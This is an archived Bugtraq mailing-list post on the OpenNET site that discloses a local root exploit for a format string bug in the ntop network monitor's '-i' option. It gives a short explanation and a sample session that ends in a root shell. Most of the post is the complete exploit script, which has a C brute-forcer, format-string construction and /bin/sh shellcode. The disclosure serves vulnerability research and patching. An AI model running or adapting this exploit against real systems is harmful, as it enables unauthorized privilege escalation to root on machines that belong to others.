The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Тестирование и отладка работы VPN с IPSec на FreeBSD
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

ntop -i local exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 29 Jan 2001 12:54:42 +0100
From: Paul Starzetz <paul@STARZETZ.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: ntop -i local exploit

1. Abstract
-----------

There are various format string bugs in the ntop package as mentioned in
former Bugtraq articles. This is _not_ a new problem. However, in
opposite to the '-w' option bug, an exploit for the existent '-i' option
format string bug has never been posted/released.


2. Details
----------

Many people assume, that format string bugs are heavy to exploit,
beacause one must deal with strange offsets. But with a piece of tricky
code, format string bugs become really easy exploitable. The idea is of
course, not new: brute force the stack address where the retadr is saved
during some 'printf' call.

The format string needed to reach itself by consumig stack arguments is
constructed in an automated manner. It looks like:

<padding><stackeat><write><address><nops><shellcode>

The offsets given at the beginning of the code come from ntop-1.0-21 as
found on SuSE 6.1. I didn't have the source of ntop 1.0, but after
looking at ntop 1.1 I think that the exploit should work unchanged with
1.1, if not one can play with the value of writeadr and shelladr (try
increasing writeadr by 0x100). The address of shellcode isn't critical
as we can append enough nops to the begining of the shellcode, but of
course it will depend on the size of the environment variables. The rest
of the exploit code is really self-explanatory.

Sample exploitation looks like this:

paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > uname -a
Linux phoenix 2.2.16-IPv6 #1 Sun Jun 25 18:07:06 CEST 2000 i586 unknown
paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > id
uid=3D500(paul) gid=3D100(users) groups=3D100(users),101(untrusted)

paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > ntopexpl.sh

configured for running /usr/sbin/ntop
RETADR =3D 0xbffff000
SHELL  =3D 0xbffff320
NOPS   =3D 128

[+] found /usr/sbin/ntop
    now searching for offset

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16]
[17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30]
[31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44]
[45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58]
[59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71]

[+] OFFSET found to be 284/71
    now constructing magic string

[+] string fileds prepared

[+] bruteforce prog prepared
    now brute force

[  64] sh: =F0=FF=BF: command not found
ntop: listening on
PP%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16=
g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g=
%16g%16g%16g%1
=2E
=2E (some output)
=2E
0000000000000000000000000000000000000000000000000000000000000000000000000=
0000000000000000000000000000000000000000000000000000000000000000bffff076t=
=F0=FF=BFt=F0=FF=BFu=F0=FF=BFu=F0=FF=BFv=F0=FF=BFv=F0=FF=BFw=F0=FF=BFw=F0=
=FF=BFsh-2.02#
sh-2.02# id
uid=3D0(root) gid=3D100(users) groups=3D100(users),101(untrusted)
sh-2.02#


Easy, isn't it? You will need an executable stack, of course.


3. Credits
----------

Go to Ksecurity (ksecurity@ILAND.CO.KR) for finding this vulnerability.

Ihaquer Security Research, www.ihaquer.com




########################## ntopexpl.sh ##########################

#!/bin/bash

#	CONFIGURATION:
umask 000
target=3D"/usr/sbin/ntop"
tmpdir=3D"/tmp/"

#       address we want to write to (ret on the stack)
#       has to be an absolute address but we brute force
#		this scanning 64 addresses from writeadr on
writeadr=3D"0xbffff000"

#	no. of addresses to scan
wrep=3D64

#       address of the shell in our string
#		must point somewhere to our 'nop' region
shadr=3D"0xbffff320"

#	number of nops before shellcode
declare -i nnops
nnops=3D128


echo
echo "-------------------------------------------"
echo "|       ntop local r00t exploit           |"
echo "|              by IhaQueR                 |"
echo "|		only for demonstrative purposes		|"
echo "-------------------------------------------"
echo

echo
echo "configured for running $target"
echo "RETADR =3D $writeadr"
echo "SHELL  =3D $shadr"
echo "NOPS   =3D $nnops"
echo


#	fake shellcode
shellfake=3D"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"

#	number of nops before shellcode
declare -i nnops
nnops=3D128

#	make nop field
declare -i idx
idx=3D0

nfake=3D""

while test $idx -lt $nnops; do
	nfake=3D"N$nfake"
	idx=3D$(($idx+1))
done;


#	sanity check :-)
if ! test -x $target ; then
	echo "[-] $target not found or not executable, sorry"
	exit 1
fi;

echo "[+] found $target"

declare -i cnt
declare -i cntmax
cnt=3D0
cntmax=3D1024


#	make string used for offset search
#	like <head><addr><nops><shellcode>
#	PP stands for padding
string=3D"%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKK=
K${nfake}${shellfake}"

padding=3D"PP"
declare -i npad
npad=3D2
gstring=3D""

#	find offset
echo "    now searching for offset"
echo

while test $cnt -le $cntmax ; do
	gstring=3D"%16g$gstring"
	string=3D"%16g$string"
	cnt=3D$(($cnt+1))
	result=3D$($target -i "$padding$string" 2>&1 | grep "44434241")
	echo -n "[$cnt] "
	if test "$result" !=3D "" ; then
		break;
	fi;
done

#	found offset
declare -i offset
offset=3D$(($cnt * 4))

echo
echo

if test $cnt -gt $cntmax ; then
	echo "[-] offset not found, please tune padding :-)"
	exit 2
fi;

echo "[+] OFFSET found to be $offset/$cnt"

echo "    now constructing magic string"

#	number of bytes written so far
declare -i nwrt
nwrt=3D$((16*${cnt} + ${npad}))

#	bruteforce
echo "[+] string fileds prepared"
echo

cat <<__BRUTE__ >brute.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

//	used with <string> <numwritten> <nops>
main(int argc, char** argv)
{
unsigned char str[8192];
unsigned char buf[8192];
unsigned char nop[1024];
unsigned addr[9];
unsigned char head[33]=3D"%0016d%x%0016d%x%0016d%x%0016d%x";

//		standard /bin/sh shell :-)
unsigned char hellcode[] =3D
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
						=

"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   							"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

int i, flip, nbrute;
unsigned char* ptr;
unsigned shadr, rtadr, nwrt;
int dn;


//		construct string like <pad><eatstack><head><addr><nops><shell>

//		no. of attempts
		nbrute =3D $wrep;

//		addr
		rtadr =3D $writeadr;

		while(nbrute>0) {

			printf("[%4d] ", nbrute);
			fflush(stdout);
			fflush(stderr);

//		nops
			for(i=3D0; i<atol(argv[3]); i++)
				nop[i] =3D 0x90;
			nop[i] =3D 0;

//		head
			shadr =3D $shadr;

//		6 comes from "bind: "
			nwrt =3D atol(argv[2]) + 6;

			ptr =3D (unsigned char*)&shadr;

			for(i=3D0; i<4; i++) {
				flip =3D (((int)256) + ((int)ptr[i])) - ((int)(nwrt % 256));
				nwrt =3D nwrt + flip;
				sprintf(head+i*8, "%%%04dx%%n", flip);
			}

			head[32] =3D 0;

//		address field
			for(i=3D0; i<4; i++) {
				addr[2*i] =3D rtadr + i;
				addr[2*i+1] =3D rtadr + i;
			}

			addr[8] =3D 0;

			sprintf(str, "%s%s%s%s%s", argv[1], head, addr, nop, hellcode);
			sprintf(buf, "./ntop -i \"%s\"", str);

//		kabuum
			system(buf);

			nbrute--;
			rtadr +=3D 4;
		}

return 0;
}
__BRUTE__

rm -rf brute
gcc brute.c -o brute

if ! test -x brute ; then
	echo "[-] compilation error, exiting"
	exit 2
fi;

echo "[+] bruteforce prog prepared"

echo "    now brute force"
echo

brute "$padding$gstring" ${nwrt} ${nnops}

echo ""
echo "[+] done"
echo ""

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.